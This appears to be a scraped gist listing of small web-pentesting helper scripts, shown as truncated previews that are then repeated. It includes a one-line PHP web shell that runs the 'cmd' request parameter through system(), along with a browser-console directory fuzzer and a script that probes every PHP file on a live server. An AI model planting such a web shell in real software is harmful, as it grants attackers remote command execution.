Mihály Gábor kecs

## gist:808cd1c96d3a7c42171807aadf0a290e
<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>

## dirs_used_by_u_in_time.sh
find / -type f -newermt 2019-07-07 ! -newermt 2019-07-31 -ls -readable 2> /dev/null

## jsConsoleWordlistFuzz.js
function fuzz(){
  // Replace with any online newline separated word list
  var WORDLIST_URL = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt";
  var WORDLIST = [];
  var xhttp = new XMLHttpRequest();

  // Fetch wordlist
  xhttp.open("GET", WORDLIST_URL, false);
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {

## paste.py
import sys, re, time

import pyperclip


texts = []


while 1:
    sys.stdout.flush()

## get_scripts.py
# pip install jsbeautifier requests

import os
import requests
from jsbeautifier import beautify

try:
    os.mkdir('js')
except OSError:
    pass

## listLoadedScriptsFromConsole.js
for(i=0;i<document.scripts.length;i++)console.log(document.scripts[i].src)

## addJQery.js
script=document.createElement('script');document.head.appendChild(script);script.src='https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js';

## log_php_fn_calls.py
import sys


"""
Recursively traverse a php repo,
add a line that logs fn calls.
Non overlapping matches.
cd into project root.
"""

## map_reachable_phps.py
import requests, time, os

"""
List all .php files in repo, send GET and POST to live url, print response if it is not 404
Start from repo root dir.
Args: base_url_to_live_server
"""

COOKIES = {'SESSID': '', 'PHPSESSID': ''}

## add_php_calltrace.py
import os, re, sys


"""
Recursively traverse a php repo, add a line that logs fn calls.
Non overlapping matches!
Arg: output file full path
"""

OUTFILE = sys.argv[1]
	function fuzz(){
	// Replace with any online newline separated word list
	var WORDLIST_URL = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt";
	var WORDLIST = [];
	var xhttp = new XMLHttpRequest();

	// Fetch wordlist
	xhttp.open("GET", WORDLIST_URL, false);
	xhttp.onreadystatechange = function() {
	if (this.readyState == 4 && this.status == 200) {
	import sys, re, time

	import pyperclip


	texts = []


	while 1:
	sys.stdout.flush()
	# pip install jsbeautifier requests

	import os
	import requests
	from jsbeautifier import beautify

	try:
	os.mkdir('js')
	except OSError:
	pass
	import sys


	"""
	Recursively traverse a php repo,
	add a line that logs fn calls.
	Non overlapping matches.
	cd into project root.
	"""
	import requests, time, os

	"""
	List all .php files in repo, send GET and POST to live url, print response if it is not 404
	Start from repo root dir.
	Args: base_url_to_live_server
	"""

	COOKIES = {'SESSID': '', 'PHPSESSID': ''}
	import os, re, sys


	"""
	Recursively traverse a php repo, add a line that logs fn calls.
	Non overlapping matches!
	Arg: output file full path
	"""

	OUTFILE = sys.argv[1]